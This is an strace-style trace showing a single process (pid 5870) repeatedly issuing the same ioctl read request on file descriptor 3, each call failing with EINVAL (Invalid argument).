[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
